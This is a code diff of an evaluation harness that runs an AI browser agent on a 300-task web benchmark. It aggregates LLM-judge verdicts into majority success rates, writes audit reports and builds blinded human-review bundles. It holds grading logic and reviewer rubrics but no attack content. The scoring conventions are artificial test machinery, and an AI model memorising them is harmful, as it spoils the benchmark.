latestByJob.get(job.id).get(task_id)?.infrastructure_error + ? null : latestByJob.get(job.id).get(task_id)?.predicted_label ?? null])); + const majority = variant => { const values = JOBS.filter(job => job.variant === variant).map(job => verdicts[job.id]); + return values.every(value => value !== null) ? Number(values.reduce((n, value) => n + value, 0) >= 2) : null; }; + const native = nativeFailures.find(row => row.task_id === task_id && row.index === outcome.selected_attempt); + return { task_id, ...outcome, ...(native ? { public_native_failure: native, goal_state: 'unknown_without_terminal_evidence' } : {}), + judge_verdicts: verdicts, official_majority: majority('official'), strict_majority: majority('strict') }; + }); + const aggregates = Object.fromEntries(['official', 'strict'].map(variant => { + const subset = scores.filter(score => score.variant === variant), complete = manifest.collection_complete && subset.every(score => score.complete); + const rates = subset.map(score => score.success_rate); + const majority = rows.filter(row => row[`${variant}_majority`] === 1).length; + return [variant, { complete, passes: 3, mean_success_rate: complete ? rates.reduce((n, rate) => n + rate, 0) / 3 : null, + min_success_rate: complete ? Math.min(...rates) : null, max_success_rate: complete ? Math.max(...rates) : null, + majority_successes: complete ? majority : null, majority_success_rate: complete ? majority / expected : null }]; + })); + const disagreements = rows.filter(row => Object.values(row.judge_verdicts).every(value => value !== null) && + new Set(Object.values(row.judge_verdicts)).size > 1).map(row => ({ task_id: row.task_id, verdicts: row.judge_verdicts })); + const tokenTotals = records => Object.fromEntries(['input_tokens', 'cached_input_tokens', 'output_tokens'].map(key => + [key, records.reduce((n, row) => n + (row.usage?.[key] ?? 0), 0)])); + const preserved = await preservationReceipt(preservation, finalize); + let sourceHashes = manifest.fingerprints, selectedEvidence = [], attemptEvidence = []; + let reviewEvidence = { verified: false, descriptive_pilot: manifest.gate_receipt?.descriptive_pilot_review ?? null, + ...(manifest.gate_receipt?.review_bundles ?? {}) }; + if (finalize) { + const owner = await optionalJson(path.join(runDir, 'judge/.judge-worker-owner.json')); + if (owner) { try { process.kill(owner.pid, 0); throw new Error('Judge worker is still active'); } + catch (error) { if (error.code !== 'ESRCH') throw error; } } + if (expected !== 300 || outcomes.size !== 300 || !manifest.collection_complete || !scores.every(score => score.complete) || cleanupBlockers || + (manifest.active_task_ids?.length ?? 0) || partialTrace) throw new Error('Finalization requires300 terminal tasks, six complete jobs and verified cleanup'); + if (finals.length !== attempts.length || (await Promise.all(attempts.map(attempt => publicAttemptBlocker({ ...attempt, final: finalByAttempt.get(attempt) }, { publicRelease })))).some(Boolean) + || finals.some(final => final.queue_expiries)) throw new Error('Original attempt evidence has an unresolved operational blocker'); + const datasetBytes = await readFile(manifest.source.path); + if (sha(datasetBytes) !== DATASET_SHA256 || manifest.source.sha256 !== DATASET_SHA256) throw new Error('Final report requires the pinned300-task dataset'); + const dataset = JSON.parse(datasetBytes), tasks = new Map(dataset.map(task => [task.task_id, task])); + if (canonical(ids) !== canonical(dataset.map(task => task.task_id))) throw new Error('Full run IDs differ from the pinned dataset order'); + for (const row of rows) { + const selected = attempts.find(attempt => attempt.task_id === row.task_id && attempt.index === row.selected_attempt); + if (row.exported) { + if (!selected || selected.raw_dir !== row.raw_dir || finalByAttempt.get(selected)?.outcome !== row.outcome) throw new Error('Terminal selection differs from the original attempt'); + selectedEvidence.push(await verifySelectedExport(runDir, row, selected, tasks.get(row.task_id), manifest.profile)); + } else { + if (publicRelease && (!selected || selected.raw_dir !== row.raw_dir || finalByAttempt.get(selected)?.outcome !== row.outcome + || !await verifyPublicDisposition(selected.raw_dir, finalByAttempt.get(selected)))) throw new Error('Public missing trajectory lacks a selected verified native failure'); + let found = false; + try { await readFile(path.join(runDir, 'trajectories', row.task_id, 'result.json')); found = true; } + catch (error) { if (error.code !== 'ENOENT') throw error; } + if (found || JOBS.some(job => { const verdict = latestByJob.get(job.id).get(row.task_id); + return verdict.predicted_label !== 0 || verdict.error_kind !== 'missing_trajectory'; })) throw new Error('Unavailable trajectories must have explicit missing-input zeros'); + } + } + sourceHashes = await verifySources(manifest); + reviewEvidence = await verifyReviews(runDir, manifest); + for (const attempt of attempts) attemptEvidence.push({ task_id: attempt.task_id, index: attempt.index, + raw_dir: attempt.raw_dir, raw_sha256: await trajectoryFingerprint(attempt.raw_dir), + final_sha256: sha(await readFile(path.join(attempt.raw_dir, 'final.json'))) }); + } + const summary = { format_version: 2, profile: manifest.profile, judge_protocol: manifest.judge_protocol, + scope: SCOPE, run_id: path.basename(runDir), state: manifest.state, finalized: finalize, + expected, terminal: outcomes.size, exported: rows.filter(row => row.exported).length, + unavailable_trajectories: rows.filter(row => outcomes.has(row.task_id) && !row.exported).length, + ...(publicRelease ? { public_release: true, public_pins: manifest.public_pins, verified_public_native_failures: nativeFailures.length, + native_failure_goal_states: 'Unknown without final page evidence; missing-trajectory judge zeros are metric conventions, not demonstrated goal failures.' } : {}), + scores, aggregates, disagreements: disagreements.length, cleanup_blockers: cleanupBlockers, + jobs_complete: scores.filter(score => score.complete).length, human_calibrated: false, unverified: true, + actor_usage: { ...tokenTotals(finals), records: finals.length, records_with_usage: finals.filter(row => row.usage).length, + incomplete: finals.some(row => !row.usage), total_cost_usd: null }, + judge_usage: { ...tokenTotals(parsedCalls), call_attempts: parsedCalls.length, + cli_processes_spawned: parsedCalls.filter(row => row.cli_spawned).length, total_cost_usd: null }, + latency: { actor_duration: distribution(finals.map(row => row.actor_duration_ms)), cleanup_duration: distribution(finals.map(row => row.cleanup_duration_ms)), + task_duration: distribution(finals.map(row => row.duration_ms)), queue_wait: distribution(queue), upstream_service: distribution(upstream), + capture: distribution(capture), operation_record: distribution(observations), + judge_call: distribution(parsedCalls.map(row => row.duration_ms)) }, + source_hashes: sourceHashes, preservation: preserved, review_evidence: reviewEvidence, + disclosures: ['Existing Chrome profile: cookies, authentication and site state are shared across separately owned task tabs.', + 'Limits:1200 seconds and120 mutating calls; adaptive measured concurrency up to10.', + ...(publicRelease ? [ + 'Unmodified public release: Chrome Web Store extension0.9.92 and published fsb-mcp-server0.11.2. Experimental product patches are excluded.', + 'The browser-manual-public-v1 actor profile exposes44 tools from the actual public MCP catalogue. The two unregistered wait tools are absent; public Google/browser search fallback is preserved.', + 'Public read_page may dismiss consent UI; all its attempts consume the UI budget and acquire the foreground lease.', + 'The external recorder uses one hidden owned guard tab per task. Cleanup is proven by guard-only inventory, exact guard close acknowledgement and client shutdown; the public release exposes no private registry-zero attestation.', + 'Stock public MCP may internally retry an explicit AGENT_NOT_REGISTERED rejection. The wrapper never replays uncertain actions; guard continuity does not attest identical agent identity when the public inventory omits it.', + 'Native capture failures retain their original response, missing frame and unknown goal state. Continued collection requires separately verified owned cleanup and a guard health PNG; that PNG is excluded from actor evidence and trajectories.', + 'Source binding uses the normal Web Store runtime identity/version and identical archived installed package content; exact profile path and in-memory bytecode are not attested.', + ] : ['browser-manual-v2 expands actor observations/tools; product and scorefield-v2 parser changes accompany the fresh run.']), + `Actor and judges are both ${MODEL} (${EFFORT} effort) through Claude Code. Scores are uncalibrated substitute WebJudge judging, not o4-mini and not OSU-verified. Vendored upstream prompts and filter rubric remain unchanged. Pilot visible-state notes are automated and descriptive; their ratings do not affect the operational concurrency gate.`, + 'Historical and fresh60-case blinded evidence bundles are separate from the20-image pilot review. Human labeling does not gate this run or establish completed calibration.', + 'Missing trajectories and terminal task-format errors count zero in each full300 denominator. Infrastructure pending is provisional, not a completed zero.', + publicRelease ? 'Historical score differences combine public product versions, actor observations/toolset, budget and parser changes; they are not attributed solely to product behavior or repairs.' + : 'Before/after differences combine product, profile, limits and evaluator changes; no causal attribution to one change is claimed.'] }; + await mkdir(runDir, { recursive: true }); + await atomicJson(path.join(runDir, 'summary.json'), summary); + await atomicJson(path.join(runDir, 'per-task.json'), rows); + await atomicJson(path.join(runDir, 'judge-disagreements.json'), disagreements); + const fields = ['task_id', 'outcome', 'exported', 'selected_attempt', 'action_count', 'duration_ms', 'cleanup_ok', 'official_majority', 'strict_majority']; + await writeFile(path.join(runDir, 'per-task.csv'), [...fields, ...JOBS.map(job => job.id)].map(cell).join(',') + '\n' + rows.map(row => + [...fields.map(key => row[key]), ...JOBS.map(job => row.judge_verdicts[job.id])].map(cell).join(',')).join('\n') + '\n'); + const markdown = [`# ${manifest.model} + FSB — ${finalize ? 'completed' : 'provisional'} evaluation`, '', + `${outcomes.size}/${expected} terminal tasks; ${summary.exported} exports; ${summary.jobs_complete}/6 judge jobs complete.`, '', + ...summary.disclosures.map(text => '- ' + text), '', '| Job | Successes / expected | Task format errors | Missing zeros | Infrastructure pending |', + '|---|---:|---:|---:|---:|', ...scores.map(score => `| ${score.job} | ${score.complete ? `${score.successes}/${expected}` : 'pending'} | ${score.task_format_errors} | ${score.missing_trajectory_zeros} | ${score.pending} |`), '', + ...Object.entries(aggregates).map(([variant, aggregate]) => `${variant}: ${aggregate.complete ? + `mean ${(aggregate.mean_success_rate * 100).toFixed(2)}%; range ${(aggregate.min_success_rate * 100).toFixed(2)}–${(aggregate.max_success_rate * 100).toFixed(2)}%; majority ${aggregate.majority_successes}/${expected}.` : 'pending; no completed aggregate score.'}`), '', + `Disagreements: ${disagreements.length}. Cleanup blockers: ${cleanupBlockers}. Usage and latency distributions are in summary.json.`, '', + ...(reviewEvidence.verified ? [ + `Automated descriptive pilot review: [completion receipt](<${reviewEvidence.descriptive_pilot.path}>). Ratings describe visible final checkpoints and do not establish full goal success.`, + `Blinded saved-evidence review: [historical60](<${reviewEvidence.historical.public_index}>) and [fresh60](<${reviewEvidence.fresh.public_index}>). Labels remain uncalibrated.`, '' + ] : [])]; + await writeFile(path.join(runDir, 'REPORT.md'), markdown.join('\n')); + if (finalize) await atomicJson(path.join(runDir, 'FINAL-AUDIT.json'), { ok: true, scope: SCOPE, expected: 300, + terminal: 300, jobs_complete: 6, human_calibrated: false, finalized_at: new Date().toISOString(), + report_source_sha256: sha(await readFile(fileURLToPath(import.meta.url))), source_hashes: sourceHashes, + preservation: preserved, judge_inputs: integrity, selected_evidence: selectedEvidence, attempt_evidence: attemptEvidence, review_evidence: reviewEvidence, + manifest_sha256: manifestFileSha256, manifest_canonical_sha256: sha(Buffer.from(canonical(manifest))), output_sha256: Object.fromEntries(await Promise.all( + ['summary.json', 'per-task.json', 'per-task.csv', 'judge-disagreements.json', 'REPORT.md'].map(async name => [name, sha(await readFile(path.join(runDir, name)))]))) }); + return summary; +} + +async function blindedSelection({ historicalRunDir, outputDir, datasetPath, + excludedTaskIds, seed = 'fsb-judge-human-holdout-v2-20261018', quotas = { easy: 16, medium: 28, hard: 16 }, publicRelease = false }) { + historicalRunDir = path.resolve(historicalRunDir); outputDir = path.resolve(outputDir); + if (outputDir.startsWith(historicalRunDir + path.sep) || outputDir === historicalRunDir) throw new Error('Review bundle must be outside historical run'); + if (!Array.isArray(excludedTaskIds) || excludedTaskIds.length !== 25 || new Set(excludedTaskIds).size !== 25) throw new Error('Exactly25 diagnostic cases must be excluded'); + if (sha(Buffer.from([...excludedTaskIds].sort().join('\n'))) !== EXCLUDED_CASES_SHA256) throw new Error('Diagnostic exclusion IDs differ from the frozen25-case review'); + const datasetBytes = await readFile(datasetPath); + if (sha(datasetBytes) !== DATASET_SHA256) throw new Error('Blinded review requires the pinned dataset'); + const historicalManifest = await readFile(path.join(historicalRunDir, 'manifest.json')); + const manifest = JSON.parse(historicalManifest); + if (publicRelease && (manifest.public_release !== true || manifest.collection_complete !== true + || manifest.outcomes?.length !== 300 || seed !== 'fsb-fresh-manual-v2-review-20261018')) throw new Error('Public review requires the complete frozen public300-task collection'); + const exported = new Set(manifest.outcomes.filter(row => row.exported).map(row => row.task_id)); + const population = publicRelease ? new Set(manifest.outcomes.map(row => row.task_id)) : exported; + const eligible = JSON.parse(datasetBytes).filter(task => population.has(task.task_id) && !excludedTaskIds.includes(task.task_id)); + if (canonical(quotas) !== canonical({ easy: 16, medium: 28, hard: 16 })) throw new Error('Blinded review uses frozen16/28/16 quotas'); + const selected = Object.entries(quotas).flatMap(([level, count]) => eligible.filter(task => task.level === level) + .sort((a, b) => sha(Buffer.from(`${seed}|${level}|${a.task_id}`)).localeCompare(sha(Buffer.from(`${seed}|${level}|${b.task_id}`)))).slice(0, count)); + if (selected.length !== 60) throw new Error('Insufficient review tasks for the frozen level quotas'); + const spec = { seed, quotas, dataset_sha256: sha(datasetBytes), historical_manifest_sha256: sha(historicalManifest), + excluded_ids: [...excludedTaskIds].sort(), + selected_ids: selected.map(task => task.task_id), human_calibrated: false, blocks_full_run: false, + ...(publicRelease ? { public_release: true, sampling_population: 'All300 terminal tasks, including missing native page evidence; export availability does not affect selection.' } : {}) }; + return { historicalRunDir, outputDir, selected, spec, quotas, seed, manifest, publicRelease }; +} + +async function missingReviewEvidence(runDir, manifest, task, reviewId) { + const selected = manifest.outcomes.find(row => row.task_id === task.task_id); + const attempt = manifest.attempts.find(attempt => attempt.task_id === task.task_id && attempt.index === selected?.selected_attempt); + if (!attempt || selected.exported !== false || attempt.state !== 'finished' + || attempt.raw_dir !== path.join(runDir, 'raw', task.task_id, `attempt-${attempt.index}`) + || selected.raw_dir !== attempt.raw_dir || selected.outcome !== attempt.final.outcome) throw new Error('Missing public review card lacks an exact selected raw outcome'); + const finalPath = path.join(attempt.raw_dir, 'final.json'), bytes = await readFile(finalPath), final = JSON.parse(bytes); + if (canonical(final) !== canonical(attempt.final)) throw new Error('Missing public review raw final changed'); + const disposition = await verifyPublicDisposition(attempt.raw_dir, final); + if (!disposition || final.provider_error) throw new Error('Missing public review evidence remains infrastructure pending'); + const taskRecord = { review_id: reviewId, task: task.confirmed_task, agent_final_answer: final.final_answer ?? null, + reference_length: task.reference_length, action_history: null, evidence_status: 'unavailable', + evidence_note: 'Final native page evidence is unavailable. No earlier page image, independent health image or trajectory is substituted. The saved evidence cannot establish the task goal; use insufficient_evidence.' }; + const artifacts = [finalPath, path.join(attempt.raw_dir, 'steps.jsonl'), path.join(attempt.raw_dir, 'proxy-meta.json'), + disposition.cleanup_evidence.path, disposition.health_evidence.path, disposition.health_png.path]; + const sources = await Promise.all(artifacts.map(async file => { + const bytes = await readFile(file); return { path: file, bytes: bytes.length, sha256: sha(bytes) }; + })); + return { taskRecord, raw_dir: attempt.raw_dir, selected_attempt: attempt.index, final_sha256: sha(bytes), disposition, sources }; +} + +export async function verifyBlindedReviewBundle(options) { + const { historicalRunDir, outputDir, selected, spec, quotas, manifest, publicRelease } = await blindedSelection(options); + const selectionFile = path.join(outputDir, 'private/selection.json'), prior = await json(selectionFile); + if (canonical(prior.selection) !== canonical(spec) || prior.records?.length !== 60 || + new Set(prior.records.map(row => row.review_id)).size !== 60 || + canonical(prior.records.map(row => row.task_id).sort()) !== canonical(spec.selected_ids.toSorted())) throw new Error('Review output contains a different selection'); + const ordered = selected.toSorted((a, b) => sha(Buffer.from(`${spec.seed}|display|${a.task_id}`)).localeCompare(sha(Buffer.from(`${spec.seed}|display|${b.task_id}`)))); + for (const [index, task] of ordered.entries()) { + const row = prior.records.find(row => row.task_id === task.task_id), reviewId = `review-${String(index + 1).padStart(3, '0')}`; + const source = path.join(historicalRunDir, 'trajectories', task.task_id); + if (row.review_id !== reviewId || row.source !== source || row.level !== task.level) throw new Error('Saved blinded task provenance differs'); + const outcome = manifest.outcomes.find(row => row.task_id === task.task_id); + if (publicRelease && !outcome.exported) { + const expected = await missingReviewEvidence(historicalRunDir, manifest, task, reviewId); + const { taskRecord, ...evidence } = expected; + const publicTask = await readFile(path.join(outputDir, 'review', reviewId, 'task.json')); + if (row.evidence_status !== 'unavailable' || canonical(row.missing_evidence) !== canonical(evidence) + || row.evidence?.length !== 0 || sha(publicTask) !== row.public_task_sha256 + || canonical(JSON.parse(publicTask)) !== canonical(taskRecord)) throw new Error('Missing blinded evidence card or its raw proof changed'); + const publicFiles = await filesBelow(path.join(outputDir, 'review', reviewId)); + if (canonical(publicFiles) !== canonical([path.join(outputDir, 'review', reviewId, 'task.json')])) throw new Error('Missing final evidence was replaced with an image'); + continue; + } + const original = await readFile(path.join(source, 'result.json')), result = JSON.parse(original); + const expectedFiles = result.action_history.map(step => `trajectory/${step.screenshot}`); + if (canonical(row.evidence?.map(file => file.file)) !== canonical(expectedFiles)) throw new Error('Saved blinded frame inventory differs'); + for (const evidence of row.evidence) { + if (path.dirname(evidence.file) !== 'trajectory' || path.basename(evidence.file) !== evidence.file.slice('trajectory/'.length)) throw new Error('Unsafe blinded evidence path'); + for (const file of [path.join(outputDir, 'review', reviewId, evidence.file), path.join(source, evidence.file)]) { + const bytes = await readFile(file); + if (bytes.length !== evidence.bytes || sha(bytes) !== evidence.sha256) throw new Error('Saved blinded evidence changed'); + } + } + const publicTask = await readFile(path.join(outputDir, 'review', reviewId, 'task.json')); + if (sha(await readFile(path.join(outputDir, 'private', reviewId, 'original-result.json'))) !== row.original_result_sha256 || + sha(original) !== row.original_result_sha256 || sha(publicTask) !== row.public_task_sha256 || + canonical(JSON.parse(publicTask)) !== canonical({ review_id: reviewId, task: result.task, + agent_final_answer: result.agent_final_answer, reference_length: result.reference_length, action_history: result.action_history })) throw new Error('Saved blinded task evidence changed'); + } + const metadata = ['review/index.json', 'review/labels-template.jsonl', 'review/INSTRUCTIONS.md', 'review/BENCHMARK-RUBRIC.md']; + if (canonical(Object.keys(prior.public_metadata_sha256 ?? {}).sort()) !== canonical(metadata.toSorted())) throw new Error('Saved blinded metadata inventory differs'); + for (const relative of metadata) if (sha(await readFile(path.join(outputDir, relative))) !== prior.public_metadata_sha256[relative]) throw new Error('Saved blinded metadata changed'); + return { output_dir: outputDir, count: 60, selection_sha256: sha(Buffer.from(canonical(spec))), + provenance_sha256: sha(await readFile(selectionFile)), quotas, human_calibrated: false, already_recorded: true }; +} + +export async function writeBlindedReviewBundle(options) { + const { historicalRunDir, outputDir, selected, spec, quotas, seed, manifest, publicRelease } = await blindedSelection(options); + const prior = await optionalJson(path.join(outputDir, 'private/selection.json')); + if (prior) return verifyBlindedReviewBundle(options); + const records = [], privateRecords = []; + const ordered = selected.sort((a, b) => sha(Buffer.from(`${seed}|display|${a.task_id}`)).localeCompare(sha(Buffer.from(`${seed}|display|${b.task_id}`)))); + for (const [index, task] of ordered.entries()) { + const id = `review-${String(index + 1).padStart(3, '0')}`, source = path.join(historicalRunDir, 'trajectories', task.task_id); + const outcome = manifest.outcomes.find(row => row.task_id === task.task_id); + if (publicRelease && !outcome.exported) { + const { taskRecord, ...evidence } = await missingReviewEvidence(historicalRunDir, manifest, task, id); + const directory = path.join(outputDir, 'review', id); await mkdir(directory, { recursive: true }); + await atomicJson(path.join(directory, 'task.json'), taskRecord); + records.push({ review_id: id, task: taskRecord.task, evidence: `${id}/task.json` }); + privateRecords.push({ review_id: id, task_id: task.task_id, level: task.level, source, evidence_status: 'unavailable', + public_task_sha256: sha(await readFile(path.join(directory, 'task.json'))), evidence: [], missing_evidence: evidence }); + continue; + } + const checked = await validateTrajectoryDir(source); if (!checked.ok) throw new Error('Invalid historical review export'); + const resultBytes = await readFile(path.join(source, 'result.json')), result = JSON.parse(resultBytes); + const directory = path.join(outputDir, 'review', id); await mkdir(path.join(directory, 'trajectory'), { recursive: true }); + const files = []; + for (const step of result.action_history) { + const input = path.join(source, 'trajectory', step.screenshot), target = path.join(directory, 'trajectory', step.screenshot); + if (path.dirname(path.resolve(input)) !== path.join(source, 'trajectory')) throw new Error('Unsafe review screenshot'); + const bytes = await readFile(input); await copyFile(input, target); + if (sha(await readFile(target)) !== sha(bytes)) throw new Error('Review evidence copy differs'); + files.push({ file: `trajectory/${step.screenshot}`, bytes: bytes.length, sha256: sha(bytes) }); + } + await atomicJson(path.join(directory, 'task.json'), { review_id: id, task: result.task, + agent_final_answer: result.agent_final_answer, reference_length: result.reference_length, action_history: result.action_history }); + await mkdir(path.join(outputDir, 'private', id), { recursive: true }); + await writeFile(path.join(outputDir, 'private', id, 'original-result.json'), resultBytes); + records.push({ review_id: id, task: result.task, evidence: `${id}/task.json` }); + privateRecords.push({ review_id: id, task_id: task.task_id, level: task.level, source, + original_result_sha256: sha(resultBytes), public_task_sha256: sha(await readFile(path.join(directory, 'task.json'))), evidence: files }); + } + await atomicJson(path.join(outputDir, 'review/index.json'), { count: 60, records, blinded: true, human_calibration_completed: false }); + await writeFile(path.join(outputDir, 'review/labels-template.jsonl'), records.map(record => JSON.stringify({ review_id: record.review_id, + reviewer: null, benchmark_rubric: null, literal_goal: null, evidence: [], confidence: null, notes: null })).join('\n') + '\n'); + await writeFile(path.join(outputDir, 'review/INSTRUCTIONS.md'), '# Blinded saved-evidence review\n\nReview only this review/ directory; private/ contains provenance and is withheld from reviewers. No old judge labels, outcomes, model names or reasoning are included here.\n\nTwo reviewers label independently before adjudication. Copy labels-template.jsonl to a new reviewer-specific filename; retain the supplied template and evidence unchanged. For benchmark_rubric apply the supplied upstream filter criteria; for literal_goal assess the stated goal without adding mandatory UI workflows. Use met, not_met or insufficient_evidence and cite screenshot/action indices. Do not turn a timeout or an honest blocker report into a success/failure assumption. A later full-raw causal review is a separate evidence condition. This bundle does not block the new run and is not completed human calibration.\n'); + const upstream = await readFile(path.join(BENCH_ROOT, 'judge/upstream/src/methods/webjudge_online_mind2web.py'), 'utf8'); + const criteria = upstream.slice(upstream.indexOf('*Important Evaluation Criteria*:'), upstream.indexOf('*IMPORTANT*', upstream.indexOf('*Important Evaluation Criteria*:'))); + await writeFile(path.join(outputDir, 'review/BENCHMARK-RUBRIC.md'), criteria + '\n'); + await atomicJson(path.join(outputDir, 'private/selection.json'), { selection: spec, records: privateRecords, + public_metadata_sha256: Object.fromEntries(await Promise.all(['review/index.json', 'review/labels-template.jsonl', + 'review/INSTRUCTIONS.md', 'review/BENCHMARK-RUBRIC.md'].map(async relative => [relative, sha(await readFile(path.join(outputDir, relative)))]))) }); + return { output_dir: outputDir, count: 60, selection_sha256: sha(Buffer.from(canonical(spec))), + provenance_sha256: sha(await readFile(path.join(outputDir, 'private/selection.json'))), quotas, human_calibrated: false }; +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const { values } = parseArgs({ options: { 'run-dir': { type: 'string' }, finalize: { type: 'boolean', default: false } } }); + if (!values['run-dir']) throw new Error('--run-dir is required'); + const directory = path.resolve(values['run-dir']); + writeManualReport(directory, await json(path.join(directory, 'manifest.json')), { finalize: values.finalize }) + .then(summary => console.log(JSON.stringify({ expected: summary.expected, jobs_complete: summary.jobs_complete, finalized: summary.finalized }))) + .catch(error => { console.error(error.message); process.exitCode = 1; }); +} diff --git a/mind2web/harness/manual-runner.mjs b/mind2web/harness/manual-runner.mjs new file mode 100644 index 000000000..54dfd30a0 --- /dev/null +++ b/mind2web/harness/manual-runner.mjs @@ -0,0 +1,304 @@ +import { mkdir, readFile, readdir, writeFile, stat, statfs } from 'node:fs/promises'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { createHash } from 'node:crypto'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { BENCH_ROOT, REPO_ROOT, RESULTS_DIR, runCommand } from './proc.mjs'; +import { loadTasks } from './dataset.mjs'; +import { hashTree } from './fingerprint.mjs'; +import { atomicJson, acquireRunLock } from './run-state.mjs'; +import { BrowserScheduler } from './browser-scheduler.mjs'; +import { runManualClaudeTask, quotaHeadroom } from './driver-claude-manual.mjs'; +import { FAMILY, MODEL, EFFORT, CLAUDE_CLI, DEFAULT_CIRCUIT, FAMILY_CONFIG_PATH } from './model-family.mjs'; +import { writeV2 } from './v2-writer.mjs'; +import { validateTrajectoryDir } from './validate-v2.mjs'; +import { profileFor, toolsForProfile, actorPrompt, loadPublicCatalog } from './browser-manual-profile.mjs'; +import { verifyPublicDisposition, publicAttemptBlocker } from './public-disposition.mjs'; +import { StdioClient } from './mcp-client.mjs'; +import { runJudgeJobs } from './judge-jobs.mjs'; +import { queueTimingEvidence, MISSING_QUEUE_EXPORT_CODES } from './queue-timing.mjs'; + +const json = file => readFile(file, 'utf8').then(JSON.parse); +const digest = bytes => createHash('sha256').update(bytes).digest('hex'); +const now = () => new Date().toISOString(); +export { DEFAULT_CIRCUIT }; +// Provider availability failures may get one fresh rerun; others need an operator. +const AVAILABILITY_FAILURES = new Set(['quota', 'rate_limit', 'transport']); + +export async function circuit(action, data = {}, { state = DEFAULT_CIRCUIT, run = runCommand } = {}) { + const result = await run(path.join(BENCH_ROOT, 'judge/.venv/bin/python'), ['-m', 'om2w_judge.circuit', '--state', state, + '--family', FAMILY, '--request-stdin', action], { cwd: path.join(BENCH_ROOT, 'judge'), input: JSON.stringify(data), + env: { ...process.env, PYTHONPATH: path.join(BENCH_ROOT, 'judge') }, timeoutMs: 15_000 }); + let value; try { value = JSON.parse(result.stdout); } catch { throw new Error('Invalid model circuit response: ' + result.stderr.slice(-500)); } + if (![0, 75].includes(result.code)) throw new Error('Model circuit failed: ' + result.stderr.slice(-500)); + return { allowed: result.code === 0, ...value }; +} +export function providerFailure(text) { + if (/not logged in|unauthori[sz]ed|authentication|invalid.*(?:token|credential)|login required/i.test(text)) return 'authentication'; + if (/usage.limit|quota|hit your.*limit|limit.*resets|session limit|credits exhausted/i.test(text)) return 'quota'; + if (/429|rate.limit|too many requests|retry.after/i.test(text)) return 'rate_limit'; + if (/network|connection|transport|socket|TLS|timed? out|timeout|502|503|504|overloaded|\b529\b|\b500\b|internal server error|fetch failed|ECONNRESET/i.test(text)) return 'transport'; + return null; +} +const cliDigests = new Map(); +// The pinned CLI is ~270 MB; hash it once per process and size/mtime identity. +async function cliDigest(file) { + const info = await stat(file), key = `${file}:${info.size}:${info.mtimeMs}`; + if (!cliDigests.has(key)) cliDigests.set(key, digest(await readFile(file))); + return cliDigests.get(key); +} +export async function sourceFingerprint({ serverCommand, extensionDir, publicRelease = false, public_release = publicRelease, publicPins = null } = {}) { + if (public_release && (!extensionDir || !publicPins)) throw new Error('Public mode requires archived official extension bytes and pinned public provenance'); + if (public_release) await loadPublicCatalog({ publicPins }); + const fingerprints = { + profile: digest(await readFile(path.join(BENCH_ROOT, public_release ? 'config/browser-manual-public-v1.json' : 'config/browser-manual-v2.json'))), + prompt: digest(actorPrompt(await readFile(path.join(BENCH_ROOT, 'config/browser-manual-v2-prompt.md'), 'utf8'), public_release, FAMILY)), + model_family: digest(await readFile(FAMILY_CONFIG_PATH)), + actor_cli: await cliDigest(CLAUDE_CLI), + harness: await hashTree(path.join(BENCH_ROOT, 'harness'), name => /\.(mjs|py)$/.test(name)), + evaluator: await hashTree(path.join(BENCH_ROOT, 'judge/om2w_judge'), name => name.endsWith('.py')), + runtime: await hashTree(path.dirname(serverCommand[1])), + runtime_package: digest(await readFile(path.resolve(path.dirname(serverCommand[1]), '../package.json'))), + runtime_dependencies: await hashTree(path.resolve(path.dirname(serverCommand[1]), '../node_modules'), () => true), + tool_definitions: digest(await readFile(path.resolve(path.dirname(serverCommand[1]), '../ai/tool-definitions.cjs'))), + extension: await hashTree(extensionDir ?? path.join(REPO_ROOT, 'extension'), name => /\.(js|json|css|html)$/.test(name)), + ...(public_release ? { public_release: true, public_pins: digest(JSON.stringify(publicPins)) } : {}), + }; + return fingerprints; +} +export async function artifactBytes(directory) { + let total = 0; + for (const entry of await readdir(directory, { withFileTypes: true })) { + const file = path.join(directory, entry.name); + if (entry.isDirectory()) total += await artifactBytes(file); + else if (entry.isFile()) total += (await stat(file)).size; + } + return total; +} +export async function assertDiskBudget(directory, expectedAdditionalBytes) { + const info = await statfs(directory); + const free = info.bavail * info.bsize; + const needed = Math.ceil(expectedAdditionalBytes * 1.25 + 5_000_000_000); + if (free < needed) throw Object.assign(new Error(`Disk gate: ${free} free bytes; ${needed} required by pilot forecast plus reserve`), { code: 'DISK_BUDGET' }); + return { checked_at: now(), free_bytes: free, required_bytes: needed, expected_additional_bytes: expectedAdditionalBytes, headroom: 1.25, reserve_bytes: 5_000_000_000 }; +} + +export async function collectManual({ runDir, tasks, concurrency, serverCommand, source, extensionDir, + model = MODEL, effort = EFFORT, signal, circuitState = DEFAULT_CIRCUIT, gateReceipt = null, resume = false, + shouldStop = () => false, pilotQueueTiming = false, publicRelease = false, public_release = publicRelease, + publicPins = null, publicCatalog, beforePublicDispatch, dependencies = {} } = {}) { + if (![1, 2, 5, 10].includes(concurrency)) throw new Error('Concurrency must be a gated level1/2/5/10'); + if (pilotQueueTiming && gateReceipt?.kind !== 'pilot') throw new Error('Queue timing continuation is restricted to paired pilot phases'); + await mkdir(runDir, { recursive: true }); + const release = await acquireRunLock(runDir); + const scheduler = new BrowserScheduler(); + const drive = dependencies.drive ?? runManualClaudeTask, controlCircuit = dependencies.circuit ?? ((action, data) => circuit(action, data, { state: circuitState })); + const fingerprint = dependencies.fingerprint ?? sourceFingerprint; + const keeper = dependencies.keeper ?? new StdioClient(serverCommand, { stderr: null }); + const profile = profileFor(public_release); + let manifest, stopped = null, checkpointQueue = Promise.resolve(), next = 0; + const checkpoint = () => { + checkpointQueue = checkpointQueue.catch(() => {}).then(async () => { manifest.updated_at = now(); manifest.active_task_ids = manifest.attempts.filter(x => x.state === 'running').map(x => x.task_id); await atomicJson(path.join(runDir, 'manifest.json'), manifest); }); + return checkpointQueue; + }; + try { + if (public_release) publicCatalog = await loadPublicCatalog({ publicPins, publicCatalog }); + const config = { version: 3, profile: profile.id, model, effort, browser: 'existing', shared_cookies: true, + timeout_seconds: 1200, max_actions: 120, execution_concurrency: concurrency, judge_protocol: 'scorefield-v2', + circuit_state: path.resolve(circuitState), server_command: serverCommand, extension_dir: extensionDir ?? null, + task_ids: tasks.map(task => task.task_id), source, gate_receipt: gateReceipt, + ...(pilotQueueTiming ? { pilot_queue_timing: true } : {}), + ...(public_release ? { public_release: true, public_pins: publicPins, profile_tool_count: toolsForProfile(profile).length, + profile_path: path.join(BENCH_ROOT, 'config/browser-manual-public-v1.json') 